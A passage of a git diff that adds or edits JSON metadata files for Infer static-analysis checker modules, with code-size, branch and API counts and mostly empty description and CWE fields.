-0,0 +1,13 @@ +{ + "name": "Capture", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 182, + "branches": 18, + "apis": 42, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangCommand.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangCommand.json new file mode 100644 index 0000000..44056ed --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangCommand.json @@ -0,0 +1,13 @@ +{ + "name": "ClangCommand", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 225, + "branches": 33, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangFrontendStubs.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangFrontendStubs.json new file mode 100644 index 0000000..583aaee --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangFrontendStubs.json @@ -0,0 +1,13 @@ +{ + "name": "ClangFrontendStubs", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 26, + "branches": 0, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangPointers.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangPointers.json new file mode 100644 index 0000000..90e7dff --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangPointers.json @@ -0,0 +1,13 @@ +{ + "name": "ClangPointers", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 94, + "branches": 10, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangQuotes.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangQuotes.json new file mode 100644 index 0000000..be5d74c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangQuotes.json @@ -0,0 +1,13 @@ +{ + "name": "ClangQuotes", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 35, + "branches": 1, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangWrapper.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangWrapper.json new file mode 100644 index 0000000..2773b0d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ClangWrapper.json @@ -0,0 +1,13 @@ +{ + "name": "ClangWrapper", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 212, + "branches": 24, + "apis": 32, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CppLambdaCalls.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CppLambdaCalls.json new file mode 100644 index 0000000..7e1ba1e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CppLambdaCalls.json @@ -0,0 +1,13 @@ +{ + "name": "CppLambdaCalls", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 118, + "branches": 12, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/SwitchCase.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/SwitchCase.json new file mode 100644 index 0000000..7b5ca45 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/SwitchCase.json @@ -0,0 +1,13 @@ +{ + "name": "SwitchCase", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 28, + "branches": 1, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ast_expressions.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ast_expressions.json new file mode 100644 index 0000000..1c97c67 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/ast_expressions.json @@ -0,0 +1,13 @@ +{ + "name": "ast_expressions", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 86, + "branches": 0, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cArithmetic_trans.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cArithmetic_trans.json new file mode 100644 index 0000000..f2590ad --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cArithmetic_trans.json @@ -0,0 +1,13 @@ +{ + "name": "cArithmetic_trans", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 292, + "branches": 27, + "apis": 65, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cAst_utils.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cAst_utils.json new file mode 100644 index 0000000..5916eae --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cAst_utils.json @@ -0,0 +1,13 @@ +{ + "name": "cAst_utils", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 369, + "branches": 48, + "apis": 96, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cContext.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cContext.json new file mode 100644 index 0000000..8eddb5e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cContext.json @@ -0,0 +1,13 @@ +{ + "name": "cContext", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 117, + "branches": 14, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cEnum_decl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cEnum_decl.json new file mode 100644 index 0000000..eff491d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cEnum_decl.json @@ -0,0 +1,13 @@ +{ + "name": "cEnum_decl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 50, + "branches": 7, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cField_decl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cField_decl.json new file mode 100644 index 0000000..d1059b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cField_decl.json @@ -0,0 +1,13 @@ +{ + "name": "cField_decl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 125, + "branches": 11, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend.json new file mode 100644 index 0000000..57cee7d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend.json @@ -0,0 +1,13 @@ +{ + "name": "cFrontend", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 76, + "branches": 7, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend_config.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend_config.json new file mode 100644 index 0000000..607ba49 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend_config.json @@ -0,0 +1,13 @@ +{ + "name": "cFrontend_config", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 72, + "branches": 0, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend_decl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend_decl.json new file mode 100644 index 0000000..c25ee00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend_decl.json @@ -0,0 +1,13 @@ +{ + "name": "cFrontend_decl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 546, + "branches": 47, + "apis": 107, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend_errors.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend_errors.json new file mode 100644 index 0000000..f6363b3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cFrontend_errors.json @@ -0,0 +1,13 @@ +{ + "name": "cFrontend_errors", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 39, + "branches": 2, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cGeneral_utils.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cGeneral_utils.json new file mode 100644 index 0000000..67130e9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cGeneral_utils.json @@ -0,0 +1,13 @@ +{ + "name": "cGeneral_utils", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 110, + "branches": 12, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cLocation.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cLocation.json new file mode 100644 index 0000000..0483247 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cLocation.json @@ -0,0 +1,13 @@ +{ + "name": "cLocation", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 76, + "branches": 4, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cMethodSignature.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cMethodSignature.json new file mode 100644 index 0000000..17e633f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cMethodSignature.json @@ -0,0 +1,13 @@ +{ + "name": "cMethodSignature", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 46, + "branches": 3, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cMethod_trans.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cMethod_trans.json new file mode 100644 index 0000000..7d1b5dd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cMethod_trans.json @@ -0,0 +1,13 @@ +{ + "name": "cMethod_trans", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 344, + "branches": 49, + "apis": 49, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cModule_type.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cModule_type.json new file mode 100644 index 0000000..5d9cd94 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cModule_type.json @@ -0,0 +1,13 @@ +{ + "name": "cModule_type", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 38, + "branches": 0, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cScope.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cScope.json new file mode 100644 index 0000000..fb8e60e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cScope.json @@ -0,0 +1,13 @@ +{ + "name": "cScope", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 290, + "branches": 25, + "apis": 62, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cTrans.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cTrans.json new file mode 100644 index 0000000..51bd9f9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cTrans.json @@ -0,0 +1,13 @@ +{ + "name": "cTrans", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 5143, + "branches": 411, + "apis": 926, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cTrans_models.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cTrans_models.json new file mode 100644 index 0000000..1d2c9c0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cTrans_models.json @@ -0,0 +1,13 @@ +{ + "name": "cTrans_models", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 86, + "branches": 7, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cTrans_utils.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cTrans_utils.json new file mode 100644 index 0000000..6c3c593 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cTrans_utils.json @@ -0,0 +1,13 @@ +{ + "name": "cTrans_utils", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 653, + "branches": 74, + "apis": 125, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cType_to_sil_type.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cType_to_sil_type.json new file mode 100644 index 0000000..0ab99d4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cType_to_sil_type.json @@ -0,0 +1,13 @@ +{ + "name": "cType_to_sil_type", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 291, + "branches": 22, + "apis": 59, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cVar_decl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cVar_decl.json new file mode 100644 index 0000000..e9ce673 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/cVar_decl.json @@ -0,0 +1,13 @@ +{ + "name": "cVar_decl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 295, + "branches": 34, + "apis": 52, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/clang_ast_extend.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/clang_ast_extend.json new file mode 100644 index 0000000..011840f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/clang_ast_extend.json @@ -0,0 +1,13 @@ +{ + "name": "clang_ast_extend", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 102, + "branches": 8, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcCategory_decl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcCategory_decl.json new file mode 100644 index 0000000..0f68fef --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcCategory_decl.json @@ -0,0 +1,13 @@ +{ + "name": "objcCategory_decl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 98, + "branches": 8, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcInterface_decl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcInterface_decl.json new file mode 100644 index 0000000..0172641 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcInterface_decl.json @@ -0,0 +1,13 @@ +{ + "name": "objcInterface_decl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 119, + "branches": 7, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcMethod_decl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcMethod_decl.json new file mode 100644 index 0000000..1233139 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcMethod_decl.json @@ -0,0 +1,13 @@ +{ + "name": "objcMethod_decl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 18, + "branches": 1, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcProtocol_decl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcProtocol_decl.json new file mode 100644 index 0000000..c3ed27c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/objcProtocol_decl.json @@ -0,0 +1,13 @@ +{ + "name": "objcProtocol_decl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 30, + "branches": 1, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/AbstractAddress.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/AbstractAddress.json new file mode 100644 index 0000000..306feaf --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/AbstractAddress.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractAddress", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 298, + "branches": 41, + "apis": 53, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/ConcurrencyUtils.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/ConcurrencyUtils.json new file mode 100644 index 0000000..53531fb --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/ConcurrencyUtils.json @@ -0,0 +1,13 @@ +{ + "name": "ConcurrencyUtils", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 28, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/IssueAuxData.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/IssueAuxData.json new file mode 100644 index 0000000..b73ff97 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/IssueAuxData.json @@ -0,0 +1,13 @@ +{ + "name": "IssueAuxData", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 10, + "branches": 0, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDDomain.json new file mode 100644 index 0000000..860f061 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDDomain.json @@ -0,0 +1,13 @@ +{ + "name": "RacerDDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 568, + "branches": 59, + "apis": 82, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDFileAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDFileAnalysis.json new file mode 100644 index 0000000..3ba62ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDFileAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "RacerDFileAnalysis", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 622, + "branches": 63, + "apis": 102, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDModels.json new file mode 100644 index 0000000..5a28a66 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDModels.json @@ -0,0 +1,13 @@ +{ + "name": "RacerDModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 482, + "branches": 40, + "apis": 66, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDProcAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDProcAnalysis.json new file mode 100644 index 0000000..b841e7d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/RacerDProcAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "RacerDProcAnalysis", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 258, + "branches": 33, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/Starvation.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/Starvation.json index 2de0800..61cbe4a 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/Starvation.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/Starvation.json @@ -1,10 +1,7 @@ { - "name": "Starvation", - "language": [ - "clang", - "java" - ], - "description": "Detect various kinds of situations when no progress is being made because of \\\n concurrency errors.", + "name": "starvation", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/StarvationModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/StarvationModels.json new file mode 100644 index 0000000..a67e22f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/StarvationModels.json @@ -0,0 +1,13 @@ +{ + "name": "StarvationModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 291, + "branches": 29, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/starvationDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/starvationDomain.json new file mode 100644 index 0000000..d73cf07 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/starvationDomain.json @@ -0,0 +1,13 @@ +{ + "name": "starvationDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 965, + "branches": 96, + "apis": 146, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/ConfigImpactAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/ConfigImpactAnalysis.json index eb1c066..8dfd96c 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/ConfigImpactAnalysis.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/ConfigImpactAnalysis.json @@ -1,10 +1,7 @@ { "name": "ConfigImpactAnalysis", - "language": [ - "clang", - "java" - ], - "description": "[EXPERIMENTAL] Collects function that are called without config checks.", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/Cost.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/Cost.json index 0d025a4..6d43def 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/Cost.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/Cost.json @@ -1,11 +1,7 @@ { - "name": "Cost", - "language": [ - "clang", - "java", - "hack" - ], - "description": "Computes the asymptotic complexity of functions with respect to execution cost or other \\\n user defined resources. Can be used to detect changes in the complexity with `infer \\\n reportdiff`.", + "name": "cost", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/boundMap.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/boundMap.json new file mode 100644 index 0000000..28aac7c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/boundMap.json @@ -0,0 +1,13 @@ +{ + "name": "boundMap", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 86, + "branches": 7, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/constraintSolver.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/constraintSolver.json new file mode 100644 index 0000000..44c46ad --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/constraintSolver.json @@ -0,0 +1,13 @@ +{ + "name": "constraintSolver", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 155, + "branches": 11, + "apis": 54, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/controlFlowCost.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/controlFlowCost.json new file mode 100644 index 0000000..c7321cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/controlFlowCost.json @@ -0,0 +1,13 @@ +{ + "name": "controlFlowCost", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 164, + "branches": 14, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costAllocationModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costAllocationModels.json new file mode 100644 index 0000000..0f3ba8e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costAllocationModels.json @@ -0,0 +1,13 @@ +{ + "name": "costAllocationModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 14, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costDomain.json new file mode 100644 index 0000000..e0f77fd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costDomain.json @@ -0,0 +1,13 @@ +{ + "name": "costDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 92, + "branches": 5, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costInstantiate.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costInstantiate.json new file mode 100644 index 0000000..d5ede26 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costInstantiate.json @@ -0,0 +1,13 @@ +{ + "name": "costInstantiate", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 77, + "branches": 4, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costModels.json new file mode 100644 index 0000000..7aa8f73 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costModels.json @@ -0,0 +1,13 @@ +{ + "name": "costModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": 